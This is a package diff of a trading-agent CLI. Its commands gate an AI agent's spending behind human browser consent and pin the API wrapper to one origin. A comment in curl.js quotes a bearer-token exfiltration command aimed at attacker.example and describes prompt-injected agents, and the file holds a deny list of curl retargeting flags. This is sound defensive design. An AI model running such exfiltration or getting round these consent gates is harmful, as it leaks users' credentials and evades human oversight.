@symbols-cli/cli 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +8 -0
- package/README.md +103 -0
- package/dist/auth/client.js +531 -0
- package/dist/auth/credentials.js +293 -0
- package/dist/auth/hosts.js +85 -0
- package/dist/auth/loopback.js +108 -0
- package/dist/auth/pkce.js +33 -0
- package/dist/auth/wire.js +40 -0
- package/dist/commands/arm.js +154 -0
- package/dist/commands/curl.js +101 -0
- package/dist/commands/doctor.js +217 -0
- package/dist/commands/login.js +113 -0
- package/dist/commands/logout.js +78 -0
- package/dist/commands/mcp.js +33 -0
- package/dist/commands/project.js +145 -0
- package/dist/commands/status.js +78 -0
- package/dist/commands/sync.js +94 -0
- package/dist/commands/uninstall.js +149 -0
- package/dist/commands/up.js +176 -0
- package/dist/commands/update.js +120 -0
- package/dist/commands/watch.js +155 -0
- package/dist/commands/whoami.js +103 -0
- package/dist/index.js +147 -0
- package/dist/mcp/scopes.js +215 -0
- package/dist/mcp/server.js +366 -0
- package/dist/mcp/tools.js +646 -0
- package/dist/skills/bundle.js +441 -0
- package/dist/skills/claude-md.js +135 -0
- package/dist/skills/install.js +188 -0
- package/dist/skills/settings-merge.js +107 -0
- package/dist/sync/api.js +380 -0
- package/dist/sync/diff.js +172 -0
- package/dist/sync/ledger.js +319 -0
- package/dist/sync/paths.js +447 -0
- package/dist/sync/protect.js +108 -0
- package/dist/sync/reconcile.js +870 -0
- package/dist/sync/watcher.js +206 -0
- package/dist/util/log.js +58 -0
- package/dist/util/platform.js +79 -0
- package/dist/util/version.js +24 -0
- package/package.json +44 -0
|
@@ -0,0 +1,154 @@
|
|
|
1
|
+
// Copyright (c) 2025 Symbols LLC. All rights reserved.
|
|
2
|
+
//
|
|
3
|
+
// This source code is proprietary and confidential. Unauthorized copying,
|
|
4
|
+
// distribution, modification, or use of this file, via any medium, is strictly prohibited.
|
|
5
|
+
// `symbols arm` — open a bounded window in which the agent may spend money.
|
|
6
|
+
//
|
|
7
|
+
// # What this command is actually for
|
|
8
|
+
//
|
|
9
|
+
// gVisor's real contribution to the container's safety was never isolation
|
|
10
|
+
// alone — it was **ATTENDANCE**. The container re-mints a write token only while
|
|
11
|
+
// its WebSocket is open, i.e. while a tile is on screen and a human is at the
|
|
12
|
+
// machine. On a laptop `claude` sits in a detached tmux for days, so a
|
|
13
|
+
// timer-driven refresher would be a permanently-armed order credential:
|
|
14
|
+
// strictly worse than what it replaces.
|
|
15
|
+
//
|
|
16
|
+
// So this command **cannot arm anything by itself**. It opens a browser, and a
|
|
17
|
+
// human consents there while signed in with Clerk. An injected agent can spawn a
|
|
18
|
+
// browser; it cannot pass Clerk silently, and it cannot click consent without a
|
|
19
|
+
// tab visibly opening on the user's screen.
|
|
20
|
+
//
|
|
21
|
+
// ⚠ **THE CLI HAS NO PATH TO ARMING ITSELF, AND THAT IS THE POINT.** The server
|
|
22
|
+
// accepts `POST /api/cli/arm` from a Clerk session only — a device token is
|
|
23
|
+
// refused there. If you are reading this while adding a "just arm it from the
|
|
24
|
+
// CLI for testing" flag: that flag makes the window decorative.
|
|
25
|
+
//
|
|
26
|
+
// # Live orders are NOT here, and cannot be added
|
|
27
|
+
//
|
|
28
|
+
// `--live` does not exist and `ArmCapability` has no live variant. The CLI
|
|
29
|
+
// PROPOSES a live order and a human confirms it in the app. That is not caution
|
|
30
|
+
// for its own sake: a deployed `automated` live regime runs `symbols-engine
|
|
31
|
+
// live` for ~23.5 hours through an order-authority path with **no window concept
|
|
32
|
+
// at all**, so one armed click would have bought a day of autonomous order
|
|
33
|
+
// authority that nothing bounded.
|
|
34
|
+
import { request } from "../auth/client.js";
|
|
35
|
+
import { apiOrigin } from "../auth/hosts.js";
|
|
36
|
+
import { load } from "../auth/credentials.js";
|
|
37
|
+
import { openBrowser } from "../util/platform.js";
|
|
38
|
+
import { eprint, print } from "../util/log.js";
|
|
39
|
+
/** What a window may grant. Mirrors the server's closed enum, deliberately. */
|
|
40
|
+
const CAPABILITIES = ["backtest", "paper_order", "paper_deploy"];
|
|
41
|
+
function usage() {
|
|
42
|
+
eprint(`usage: symbols arm [--backtest] [--paper-orders] [--paper-deploy] [--minutes N]\n` +
|
|
43
|
+
` symbols arm --status\n` +
|
|
44
|
+
` symbols arm --off\n\n` +
|
|
45
|
+
`Opens your browser so you can consent. The CLI cannot arm itself.\n\n` +
|
|
46
|
+
`Capabilities:\n` +
|
|
47
|
+
` --backtest run backtests (simulated; spends nothing)\n` +
|
|
48
|
+
` --paper-orders place PAPER orders\n` +
|
|
49
|
+
` --paper-deploy deploy a PAPER regime\n\n` +
|
|
50
|
+
`Live orders are never armed. The CLI proposes them; you confirm in the app.\n`);
|
|
51
|
+
return 2;
|
|
52
|
+
}
|
|
53
|
+
/**
|
|
54
|
+
* Exported so a test can EXERCISE it. A source grep for the comparison
|
|
55
|
+
* (`/n\s*>\s*60/`) proves only that an expression exists — `if (n > 60) {}`
|
|
56
|
+
* satisfies it — so the boundary is asserted by calling this.
|
|
57
|
+
*/
|
|
58
|
+
export function parseMinutes(argv) {
|
|
59
|
+
const i = argv.indexOf("--minutes");
|
|
60
|
+
if (i === -1)
|
|
61
|
+
return 15; // a short default: the window is "a human just said yes"
|
|
62
|
+
const raw = argv[i + 1];
|
|
63
|
+
const n = Number(raw);
|
|
64
|
+
if (!Number.isInteger(n) || n <= 0 || n > 60)
|
|
65
|
+
return null;
|
|
66
|
+
return n;
|
|
67
|
+
}
|
|
68
|
+
export async function run(argv) {
|
|
69
|
+
if (argv.includes("-h") || argv.includes("--help"))
|
|
70
|
+
return usage();
|
|
71
|
+
const cred = await load();
|
|
72
|
+
if (!cred) {
|
|
73
|
+
eprint("Not signed in. Run `symbols login` first.\n");
|
|
74
|
+
return 1;
|
|
75
|
+
}
|
|
76
|
+
if (argv.includes("--status"))
|
|
77
|
+
return showStatus();
|
|
78
|
+
if (argv.includes("--off") || argv.includes("--disarm"))
|
|
79
|
+
return disarm();
|
|
80
|
+
const wanted = [];
|
|
81
|
+
if (argv.includes("--backtest"))
|
|
82
|
+
wanted.push("backtest");
|
|
83
|
+
if (argv.includes("--paper-orders"))
|
|
84
|
+
wanted.push("paper_order");
|
|
85
|
+
if (argv.includes("--paper-deploy"))
|
|
86
|
+
wanted.push("paper_deploy");
|
|
87
|
+
if (wanted.length === 0) {
|
|
88
|
+
eprint("Choose at least one capability.\n\n");
|
|
89
|
+
return usage();
|
|
90
|
+
}
|
|
91
|
+
const minutes = parseMinutes(argv);
|
|
92
|
+
if (minutes === null) {
|
|
93
|
+
eprint("--minutes must be a whole number between 1 and 60.\n");
|
|
94
|
+
return 1;
|
|
95
|
+
}
|
|
96
|
+
// The consent page is a WEB page on the allowlisted origin; the CLI only
|
|
97
|
+
// hands it the parameters. It reads them, shows the user exactly what is
|
|
98
|
+
// being asked for, and calls `POST /api/cli/arm` with the user's Clerk
|
|
99
|
+
// session — which is why this command never holds the power it requests.
|
|
100
|
+
const url = new URL(`${apiOrigin()}/cli-arm`);
|
|
101
|
+
url.searchParams.set("device_id", cred.deviceId);
|
|
102
|
+
url.searchParams.set("capabilities", wanted.join(","));
|
|
103
|
+
url.searchParams.set("minutes", String(minutes));
|
|
104
|
+
eprint(`Opening your browser to confirm.\n\n` +
|
|
105
|
+
` Device ${cred.deviceId}\n` +
|
|
106
|
+
` Capabilities ${wanted.join(", ")}\n` +
|
|
107
|
+
` Duration ${minutes} minutes\n\n` +
|
|
108
|
+
` ${url.toString()}\n\n` +
|
|
109
|
+
`Nothing is armed until you consent in the browser.\n` +
|
|
110
|
+
`Live orders are never armed — the CLI proposes them and you confirm in the app.\n\n`);
|
|
111
|
+
openBrowser(url.toString());
|
|
112
|
+
// Deliberately NOT polling until armed. A command that waits invites being
|
|
113
|
+
// left running unattended, which is the shape this whole mechanism exists to
|
|
114
|
+
// avoid. Consent, then check.
|
|
115
|
+
eprint("Once you have consented, run `symbols arm --status`.\n");
|
|
116
|
+
return 0;
|
|
117
|
+
}
|
|
118
|
+
async function showStatus() {
|
|
119
|
+
const { body } = await request("/api/cli/arm/status");
|
|
120
|
+
if (!body.armed) {
|
|
121
|
+
print("Not armed.\n\nRun `symbols arm --backtest` (or --paper-orders / --paper-deploy).\n");
|
|
122
|
+
return 0;
|
|
123
|
+
}
|
|
124
|
+
const until = body.armed_until ? new Date(body.armed_until) : null;
|
|
125
|
+
const left = until ? Math.max(0, Math.round((until.getTime() - Date.now()) / 60000)) : 0;
|
|
126
|
+
print(`Armed for ${left} more minute(s).\n` +
|
|
127
|
+
` Capabilities ${body.capabilities ?? "—"}\n` +
|
|
128
|
+
` Orders used ${body.orders_used}\n` +
|
|
129
|
+
` Orders remaining ${body.orders_remaining}\n` +
|
|
130
|
+
` Live orders ${body.live_orders}\n\n` +
|
|
131
|
+
`Close it now with \`symbols arm --off\`.\n`);
|
|
132
|
+
return 0;
|
|
133
|
+
}
|
|
134
|
+
async function disarm() {
|
|
135
|
+
// ⚠ Disarming is Clerk-authenticated on the server — a device token cannot
|
|
136
|
+
// close its own window either, because "close" and "open" are the same
|
|
137
|
+
// authority. So this opens the browser too.
|
|
138
|
+
//
|
|
139
|
+
// That is a genuine ergonomic cost and it is worth it: the alternative is a
|
|
140
|
+
// device credential that can manipulate its own money window, which is the
|
|
141
|
+
// thing the window exists to prevent.
|
|
142
|
+
const cred = await load();
|
|
143
|
+
if (!cred) {
|
|
144
|
+
eprint("Not signed in.\n");
|
|
145
|
+
return 1;
|
|
146
|
+
}
|
|
147
|
+
const url = new URL(`${apiOrigin()}/cli-arm`);
|
|
148
|
+
url.searchParams.set("device_id", cred.deviceId);
|
|
149
|
+
url.searchParams.set("disarm", "1");
|
|
150
|
+
eprint(`Opening your browser to close the window.\n\n ${url.toString()}\n\n` +
|
|
151
|
+
`You can also disarm from the app, which is faster if this laptop is not to hand.\n`);
|
|
152
|
+
openBrowser(url.toString());
|
|
153
|
+
return 0;
|
|
154
|
+
}
|
|
@@ -0,0 +1,101 @@
|
|
|
1
|
+
// Copyright (c) 2025 Symbols LLC. All rights reserved.
|
|
2
|
+
//
|
|
3
|
+
// This source code is proprietary and confidential. Unauthorized copying,
|
|
4
|
+
// distribution, modification, or use of this file, via any medium, is strictly prohibited.
|
|
5
|
+
// `symbols curl <path> [flags]` — the Symbols API, by path only.
|
|
6
|
+
//
|
|
7
|
+
// Port of `odin-curl` (docker/odin-runtime/skel/odin.fish:39-95). That wrapper
|
|
8
|
+
// exists because it once passed `$argv` straight to curl, which made
|
|
9
|
+
// `odin-curl https://attacker.example/` a one-line exfiltration of the bearer
|
|
10
|
+
// from a shell that runs an LLM reading attacker-influenceable text.
|
|
11
|
+
//
|
|
12
|
+
// ⚠ WHAT THIS IS AND IS NOT, on a laptop:
|
|
13
|
+
// In the container this was containment. Here it is not — the agent has plain
|
|
14
|
+
// `curl`, `node` and `python`, and can read the credential file directly. Keep
|
|
15
|
+
// the wrapper because it stops the ACCIDENTAL case and costs nothing; do not
|
|
16
|
+
// claim it as a security boundary. The real bound is that this credential
|
|
17
|
+
// carries no money scope (`cli_scopes_carry_no_write_scope`).
|
|
18
|
+
import { apiOrigin } from "../auth/hosts.js";
|
|
19
|
+
import { eprint, print } from "../util/log.js";
|
|
20
|
+
/**
|
|
21
|
+
* Flags that would retarget the request away from the pinned origin, or make
|
|
22
|
+
* curl read a config file that could. A denylist is the wrong shape in general —
|
|
23
|
+
* but here the allowed surface is "everything curl does EXCEPT change where the
|
|
24
|
+
* bearer goes", so enumerating the retargeting flags is the accurate model.
|
|
25
|
+
*
|
|
26
|
+
* Kept verbatim from odin.fish:74-83 so the two cannot drift.
|
|
27
|
+
*/
|
|
28
|
+
const RETARGET_FLAGS = new Set([
|
|
29
|
+
"--url",
|
|
30
|
+
"-K",
|
|
31
|
+
"--config",
|
|
32
|
+
"--proxy",
|
|
33
|
+
"-x",
|
|
34
|
+
"--resolve",
|
|
35
|
+
"--connect-to",
|
|
36
|
+
"--next",
|
|
37
|
+
"-:",
|
|
38
|
+
"--location-trusted",
|
|
39
|
+
]);
|
|
40
|
+
export class RetargetFlagError extends Error {
|
|
41
|
+
constructor(flag) {
|
|
42
|
+
super(`refusing '${flag}': it can send the Authorization header to a different host. ` +
|
|
43
|
+
`symbols curl talks to the Symbols API only.`);
|
|
44
|
+
this.name = "RetargetFlagError";
|
|
45
|
+
}
|
|
46
|
+
}
|
|
47
|
+
export class NotAPathError extends Error {
|
|
48
|
+
constructor(arg) {
|
|
49
|
+
super(`refusing '${arg}': pass an API PATH like /api/quote/SPY, not a URL. ` +
|
|
50
|
+
`symbols curl talks to the Symbols API only.`);
|
|
51
|
+
this.name = "NotAPathError";
|
|
52
|
+
}
|
|
53
|
+
}
|
|
54
|
+
/**
|
|
55
|
+
* Validate the argv a caller passed and return the absolute URL to fetch.
|
|
56
|
+
*
|
|
57
|
+
* Exported for the test, because this — not the network call — is the part with
|
|
58
|
+
* a security property worth pinning.
|
|
59
|
+
*/
|
|
60
|
+
export function resolveTarget(argv, origin) {
|
|
61
|
+
const [first, ...rest] = argv;
|
|
62
|
+
if (!first)
|
|
63
|
+
throw new NotAPathError("");
|
|
64
|
+
for (const arg of argv) {
|
|
65
|
+
// Exact match only. `--proxyfoo` is not `--proxy`, and treating it as one
|
|
66
|
+
// would reject legitimate flags; `--proxy=x` IS a retarget, so split on `=`.
|
|
67
|
+
const bare = arg.split("=")[0] ?? arg;
|
|
68
|
+
if (RETARGET_FLAGS.has(bare))
|
|
69
|
+
throw new RetargetFlagError(bare);
|
|
70
|
+
}
|
|
71
|
+
if (first.startsWith("/"))
|
|
72
|
+
return { url: `${origin}${first}`, rest };
|
|
73
|
+
// An absolute URL is accepted ONLY if it is exactly the pinned origin — the
|
|
74
|
+
// same concession odin.fish makes, so `odin-curl $SYMBOLS_API_URL/x` works.
|
|
75
|
+
if (first === origin || first.startsWith(`${origin}/`))
|
|
76
|
+
return { url: first, rest };
|
|
77
|
+
throw new NotAPathError(first);
|
|
78
|
+
}
|
|
79
|
+
export async function run(argv) {
|
|
80
|
+
const origin = apiOrigin();
|
|
81
|
+
const { url, rest } = resolveTarget(argv, origin);
|
|
82
|
+
// TODO(P0): read the access token from the credential store and send it.
|
|
83
|
+
// Deliberately not stubbed with a fake header — a request that silently goes
|
|
84
|
+
// out unauthenticated is worse than one that refuses.
|
|
85
|
+
const token = process.env["SYMBOLS_ACCESS_TOKEN"];
|
|
86
|
+
if (!token) {
|
|
87
|
+
eprint("symbols: not signed in. Run `symbols login` first.\n");
|
|
88
|
+
return 1;
|
|
89
|
+
}
|
|
90
|
+
const method = methodFrom(rest) ?? "GET";
|
|
91
|
+
const res = await fetch(url, { method, headers: { authorization: `Bearer ${token}` } });
|
|
92
|
+
const body = await res.text();
|
|
93
|
+
print(body);
|
|
94
|
+
if (!body.endsWith("\n"))
|
|
95
|
+
print("\n");
|
|
96
|
+
return res.ok ? 0 : 1;
|
|
97
|
+
}
|
|
98
|
+
function methodFrom(rest) {
|
|
99
|
+
const i = rest.findIndex((a) => a === "-X" || a === "--request");
|
|
100
|
+
return i >= 0 ? rest[i + 1] : undefined;
|
|
101
|
+
}
|
|
@@ -0,0 +1,217 @@
|
|
|
1
|
+
// Copyright (c) 2025 Symbols LLC. All rights reserved.
|
|
2
|
+
//
|
|
3
|
+
// This source code is proprietary and confidential. Unauthorized copying,
|
|
4
|
+
// distribution, modification, or use of this file, via any medium, is strictly prohibited.
|
|
5
|
+
// `symbols doctor` — machine-readable verification that the skills a user has
|
|
6
|
+
// are the skills we shipped.
|
|
7
|
+
//
|
|
8
|
+
// ## Three rules, each of them a scar
|
|
9
|
+
//
|
|
10
|
+
// 1. **MACHINE-READABLE, NEVER A SUBSTRING GREP.** Every assertion parses
|
|
11
|
+
// `claude plugin list --json` — a documented, stable shape. An earlier draft
|
|
12
|
+
// of the plan asserted against `claude plugin details` output; `details` has
|
|
13
|
+
// NO `--json` (verified: its `--help` lists no such flag), so that check would
|
|
14
|
+
// have been a grep over prose that passes on a rendering change and fails on a
|
|
15
|
+
// cosmetic one.
|
|
16
|
+
//
|
|
17
|
+
// 2. **NEVER `|| true`.** A diagnostic that cannot fail is decoration. This
|
|
18
|
+
// exits non-zero on ANY problem, and the process exit code is the contract.
|
|
19
|
+
//
|
|
20
|
+
// 3. **VERSION IS THE HEADLINE CHECK.** The incident this whole project opens
|
|
21
|
+
// with is the repo at odin 0.7.7 and every laptop at 0.7.4, because
|
|
22
|
+
// `plugin install` exits 0 without upgrading. `publish_plugin_bundle.sh`
|
|
23
|
+
// stops it being SHIPPED; this stops it being INSTALLED and unnoticed.
|
|
24
|
+
//
|
|
25
|
+
// ## The renamed-directory failure
|
|
26
|
+
//
|
|
27
|
+
// `installed_plugins.json` stores `projectPath` as a literal string. `mv
|
|
28
|
+
// ~/Symbols/Foo ~/Symbols/Bar` therefore detaches a project-scope install
|
|
29
|
+
// silently: `claude` reports the plugin installed, the cache is intact, the
|
|
30
|
+
// version is right, and no skill loads in the new directory. Nothing surfaces
|
|
31
|
+
// it. Doctor compares `projectPath` to the real path and repairs it with `--fix`.
|
|
32
|
+
import { promises as fs } from "node:fs";
|
|
33
|
+
import { realpath } from "node:fs/promises";
|
|
34
|
+
import { resolve } from "node:path";
|
|
35
|
+
import { bundleSequenceStore, readBundleSequence, } from "../auth/credentials.js";
|
|
36
|
+
import { readInstalledManifest, computeBundleStamp } from "../skills/bundle.js";
|
|
37
|
+
import { MARKETPLACE, countInstalledSkills, installPlugins, listPlugins, ClaudeCliMissingError, } from "../skills/install.js";
|
|
38
|
+
import { projectSettingsPath } from "../skills/settings-merge.js";
|
|
39
|
+
import { BEGIN, END, projectClaudeMdPath } from "../skills/claude-md.js";
|
|
40
|
+
import { bundleRoot } from "../util/platform.js";
|
|
41
|
+
import { print } from "../util/log.js";
|
|
42
|
+
function ok(name, detail) {
|
|
43
|
+
return { level: "ok", name, detail };
|
|
44
|
+
}
|
|
45
|
+
function fail(name, detail) {
|
|
46
|
+
return { level: "fail", name, detail };
|
|
47
|
+
}
|
|
48
|
+
function warn(name, detail) {
|
|
49
|
+
return { level: "warn", name, detail };
|
|
50
|
+
}
|
|
51
|
+
/**
|
|
52
|
+
* Run every check and return them. Exported so a test can assert the FINDINGS,
|
|
53
|
+
* not the rendering — a doctor whose test greps its own output is the same
|
|
54
|
+
* mistake the rules above are about.
|
|
55
|
+
*/
|
|
56
|
+
export async function diagnose(opts) {
|
|
57
|
+
const checks = [];
|
|
58
|
+
// ── the runtime prerequisite the plan refuses to pretend about ─────────────
|
|
59
|
+
const major = Number.parseInt(process.versions.node.split(".")[0] ?? "0", 10);
|
|
60
|
+
checks.push(major >= 20
|
|
61
|
+
? ok("node", `v${process.versions.node}`)
|
|
62
|
+
: fail("node", `v${process.versions.node} — Symbols CLI needs Node >= 20. Install it and re-run.`));
|
|
63
|
+
// ── the local bundle ───────────────────────────────────────────────────────
|
|
64
|
+
const manifest = await readInstalledManifest();
|
|
65
|
+
if (!manifest) {
|
|
66
|
+
checks.push(fail("bundle", "no skills bundle is installed — run `symbols update` to fetch it"));
|
|
67
|
+
return checks;
|
|
68
|
+
}
|
|
69
|
+
checks.push(ok("bundle", `sequence ${manifest.sequence} · stamp ${manifest.stamp.slice(0, 12)} · ${manifest.issued_at}`));
|
|
70
|
+
// The unpacked tree must still hash to what the SIGNED manifest said. This is
|
|
71
|
+
// what catches a partially-deleted or hand-edited local bundle — the state a
|
|
72
|
+
// stale-but-parsing SKILL.md lives in.
|
|
73
|
+
const root = bundleRoot();
|
|
74
|
+
const localStamp = await computeBundleStamp(root).catch(() => null);
|
|
75
|
+
checks.push(localStamp === manifest.stamp
|
|
76
|
+
? ok("bundle-integrity", `${root} matches the signed stamp`)
|
|
77
|
+
: fail("bundle-integrity", `${root} hashes to ${localStamp ?? "<unreadable>"}, the signed manifest says ${manifest.stamp}. ` +
|
|
78
|
+
`Re-run \`symbols update\` to re-fetch and re-verify.`));
|
|
79
|
+
// ── S1's anti-rollback floor ───────────────────────────────────────────────
|
|
80
|
+
const store = bundleSequenceStore();
|
|
81
|
+
const floor = await readBundleSequence();
|
|
82
|
+
checks.push(store === "keychain"
|
|
83
|
+
? ok("rollback-floor", `sequence >= ${floor}, in the login keychain`)
|
|
84
|
+
: warn("rollback-floor", `sequence >= ${floor}, in a FILE (${store}). On this platform the counter is rewindable by ` +
|
|
85
|
+
`anything running as you; the signature still holds, freshness does not.`));
|
|
86
|
+
// ── the install, machine-readable ──────────────────────────────────────────
|
|
87
|
+
let listed;
|
|
88
|
+
try {
|
|
89
|
+
listed = await listPlugins(opts.projectDir);
|
|
90
|
+
}
|
|
91
|
+
catch (err) {
|
|
92
|
+
if (err instanceof ClaudeCliMissingError) {
|
|
93
|
+
checks.push(fail("claude", err.message));
|
|
94
|
+
return checks;
|
|
95
|
+
}
|
|
96
|
+
throw err;
|
|
97
|
+
}
|
|
98
|
+
const wantProject = await realpath(resolve(opts.projectDir)).catch(() => resolve(opts.projectDir));
|
|
99
|
+
let needsReinstall = false;
|
|
100
|
+
for (const plugin of manifest.plugins) {
|
|
101
|
+
const id = `${plugin.name}@${MARKETPLACE}`;
|
|
102
|
+
const entry = listed.find((p) => p.id === id);
|
|
103
|
+
if (!entry) {
|
|
104
|
+
checks.push(fail(id, "not installed"));
|
|
105
|
+
needsReinstall = true;
|
|
106
|
+
continue;
|
|
107
|
+
}
|
|
108
|
+
// (a) THE HEADLINE CHECK.
|
|
109
|
+
if (entry.version !== plugin.version) {
|
|
110
|
+
checks.push(fail(`${id}/version`, `installed ${entry.version}, manifest says ${plugin.version}. ` +
|
|
111
|
+
`\`claude plugin install\` exits 0 without upgrading, so this is the silent-stale state.`));
|
|
112
|
+
needsReinstall = true;
|
|
113
|
+
}
|
|
114
|
+
else {
|
|
115
|
+
checks.push(ok(`${id}/version`, entry.version));
|
|
116
|
+
}
|
|
117
|
+
// (b) scope
|
|
118
|
+
checks.push(entry.scope === "project"
|
|
119
|
+
? ok(`${id}/scope`, "project")
|
|
120
|
+
: fail(`${id}/scope`, `installed at ${entry.scope} scope. Symbols installs at PROJECT scope so its skills do not ` +
|
|
121
|
+
`load in every repo you open.`));
|
|
122
|
+
if (entry.scope !== "project")
|
|
123
|
+
needsReinstall = true;
|
|
124
|
+
// (c) THE RENAMED-DIRECTORY CHECK.
|
|
125
|
+
const got = entry.projectPath
|
|
126
|
+
? await realpath(entry.projectPath).catch(() => entry.projectPath)
|
|
127
|
+
: undefined;
|
|
128
|
+
if (entry.scope === "project" && got !== wantProject) {
|
|
129
|
+
checks.push(fail(`${id}/projectPath`, `bound to '${entry.projectPath ?? "<none>"}', but this project is '${wantProject}'. ` +
|
|
130
|
+
`Renaming or moving a project detaches a project-scope install silently and skills stop loading.`));
|
|
131
|
+
needsReinstall = true;
|
|
132
|
+
}
|
|
133
|
+
else if (entry.scope === "project") {
|
|
134
|
+
checks.push(ok(`${id}/projectPath`, wantProject));
|
|
135
|
+
}
|
|
136
|
+
// (d) enabled
|
|
137
|
+
checks.push(entry.enabled
|
|
138
|
+
? ok(`${id}/enabled`, "true")
|
|
139
|
+
: warn(`${id}/enabled`, "disabled. Left alone — that is your call, not ours."));
|
|
140
|
+
// (e) COUNT THE SKILLS ON DISK. A cache can be present, correctly versioned,
|
|
141
|
+
// and missing skills; that is the shape the opening incident had.
|
|
142
|
+
const found = await countInstalledSkills(entry.installPath).catch(() => -1);
|
|
143
|
+
if (found !== plugin.skills) {
|
|
144
|
+
checks.push(fail(`${id}/skills`, `${found < 0 ? "no skills/ directory" : `${found} skills`} under ${entry.installPath}, ` +
|
|
145
|
+
`manifest says ${plugin.skills}`));
|
|
146
|
+
needsReinstall = true;
|
|
147
|
+
}
|
|
148
|
+
else {
|
|
149
|
+
checks.push(ok(`${id}/skills`, `${found}`));
|
|
150
|
+
}
|
|
151
|
+
}
|
|
152
|
+
// ── the project's own wiring ───────────────────────────────────────────────
|
|
153
|
+
const settingsPath = projectSettingsPath(opts.projectDir);
|
|
154
|
+
try {
|
|
155
|
+
const doc = JSON.parse(await fs.readFile(settingsPath, "utf8"));
|
|
156
|
+
const missing = manifest.plugins
|
|
157
|
+
.map((p) => `${p.name}@${MARKETPLACE}`)
|
|
158
|
+
.filter((id) => doc.enabledPlugins?.[id] === undefined);
|
|
159
|
+
checks.push(missing.length === 0
|
|
160
|
+
? ok("settings", settingsPath)
|
|
161
|
+
: fail("settings", `${settingsPath} has no enabledPlugins entry for ${missing.join(", ")}`));
|
|
162
|
+
}
|
|
163
|
+
catch (err) {
|
|
164
|
+
checks.push(fail("settings", err.code === "ENOENT"
|
|
165
|
+
? `${settingsPath} is missing — run \`symbols up\` in this project`
|
|
166
|
+
: `${settingsPath} is unreadable: ${err.message}`));
|
|
167
|
+
}
|
|
168
|
+
const claudeMd = projectClaudeMdPath(opts.projectDir);
|
|
169
|
+
try {
|
|
170
|
+
const text = await fs.readFile(claudeMd, "utf8");
|
|
171
|
+
const b = text.indexOf(BEGIN);
|
|
172
|
+
const e = text.indexOf(END);
|
|
173
|
+
checks.push(b !== -1 && e > b
|
|
174
|
+
? ok("CLAUDE.md", "managed markers present and well-formed")
|
|
175
|
+
: fail("CLAUDE.md", `${claudeMd} has no well-formed symbols markers — run \`symbols up\``));
|
|
176
|
+
}
|
|
177
|
+
catch {
|
|
178
|
+
checks.push(fail("CLAUDE.md", `${claudeMd} is missing — run \`symbols up\``));
|
|
179
|
+
}
|
|
180
|
+
// ── repair ─────────────────────────────────────────────────────────────────
|
|
181
|
+
if (needsReinstall && opts.fix) {
|
|
182
|
+
try {
|
|
183
|
+
const results = await installPlugins(opts.projectDir, manifest);
|
|
184
|
+
checks.push(ok("fix", results.map((r) => `${r.plugin} install=${r.installed} update=${r.updated}`).join(" · ")));
|
|
185
|
+
// ⚠ NOT re-verified in this process. `claude plugin update` says "restart
|
|
186
|
+
// required to apply", and a fresh `plugin list` in the same run can report
|
|
187
|
+
// the pre-update state — a re-check here would print a green line for a
|
|
188
|
+
// repair that has not taken effect yet. Say so and make them re-run.
|
|
189
|
+
checks.push(warn("fix", "re-run `symbols doctor` to confirm; `claude plugin update` needs a restart to apply"));
|
|
190
|
+
}
|
|
191
|
+
catch (err) {
|
|
192
|
+
checks.push(fail("fix", err.message));
|
|
193
|
+
}
|
|
194
|
+
}
|
|
195
|
+
else if (needsReinstall) {
|
|
196
|
+
checks.push(warn("fix", "re-run with `symbols doctor --fix` to repair"));
|
|
197
|
+
}
|
|
198
|
+
return checks;
|
|
199
|
+
}
|
|
200
|
+
export async function run(argv) {
|
|
201
|
+
const fix = argv.includes("--fix");
|
|
202
|
+
const dirArg = argv.find((a) => !a.startsWith("-"));
|
|
203
|
+
const projectDir = resolve(dirArg ?? process.cwd());
|
|
204
|
+
const checks = await diagnose({ projectDir, fix });
|
|
205
|
+
const width = Math.max(...checks.map((c) => c.name.length));
|
|
206
|
+
for (const c of checks) {
|
|
207
|
+
const mark = c.level === "ok" ? "ok " : c.level === "warn" ? "warn" : "FAIL";
|
|
208
|
+
print(`${mark} ${c.name.padEnd(width)} ${c.detail}\n`);
|
|
209
|
+
}
|
|
210
|
+
const failures = checks.filter((c) => c.level === "fail").length;
|
|
211
|
+
if (failures > 0) {
|
|
212
|
+
print(`\n${failures} problem${failures === 1 ? "" : "s"}.\n`);
|
|
213
|
+
return 1;
|
|
214
|
+
}
|
|
215
|
+
print("\nall checks passed.\n");
|
|
216
|
+
return 0;
|
|
217
|
+
}
|
|
@@ -0,0 +1,113 @@
|
|
|
1
|
+
// Copyright (c) 2025 Symbols LLC. All rights reserved.
|
|
2
|
+
//
|
|
3
|
+
// This source code is proprietary and confidential. Unauthorized copying,
|
|
4
|
+
// distribution, modification, or use of this file, via any medium, is strictly prohibited.
|
|
5
|
+
// `symbols login` — browser sign-in, PKCE-bound, loopback redemption.
|
|
6
|
+
//
|
|
7
|
+
// The shape, and why each step is where it is:
|
|
8
|
+
//
|
|
9
|
+
// 1. Bind the loopback port. BEFORE the browser, always — owning the port is
|
|
10
|
+
// the security boundary (auth/loopback.ts says why at length).
|
|
11
|
+
// 2. Generate a PKCE verifier. It never leaves this process; only its S256
|
|
12
|
+
// challenge travels through the browser.
|
|
13
|
+
// 3. Open the browser at /desktop-auth?mode=cli. The user authenticates with
|
|
14
|
+
// Clerk there — the CLI never sees a password, and cannot: it has no field
|
|
15
|
+
// to type one into, which is the point.
|
|
16
|
+
// 4. The browser redirects to the loopback with a 60-second single-use CODE,
|
|
17
|
+
// not a credential. A 90-day credential must never sit in a URL that every
|
|
18
|
+
// browser extension, the history file, and any local proxy can read.
|
|
19
|
+
// 5. Exchange the code + verifier for the device credential, and store it.
|
|
20
|
+
//
|
|
21
|
+
// The credential that comes back is a REFRESH token: opaque, rotating, stored
|
|
22
|
+
// server-side as a hash only, and revocable in a way that survives an API
|
|
23
|
+
// restart. That last property is why this does not reuse the shell token's
|
|
24
|
+
// in-memory revocation set — fine for a one-hour container token, unacceptable
|
|
25
|
+
// for something that lives on a laptop for ninety days.
|
|
26
|
+
import { randomBytes, createHash } from "node:crypto";
|
|
27
|
+
import { openBrowser } from "../util/platform.js";
|
|
28
|
+
import { platform } from "node:os";
|
|
29
|
+
import { startLoopback } from "../auth/loopback.js";
|
|
30
|
+
import { createPkce } from "../auth/pkce.js";
|
|
31
|
+
import { apiOrigin } from "../auth/hosts.js";
|
|
32
|
+
import { requestAnonymous } from "../auth/client.js";
|
|
33
|
+
import { tokenBody } from "../auth/wire.js";
|
|
34
|
+
import { CLI_VERSION } from "../util/version.js";
|
|
35
|
+
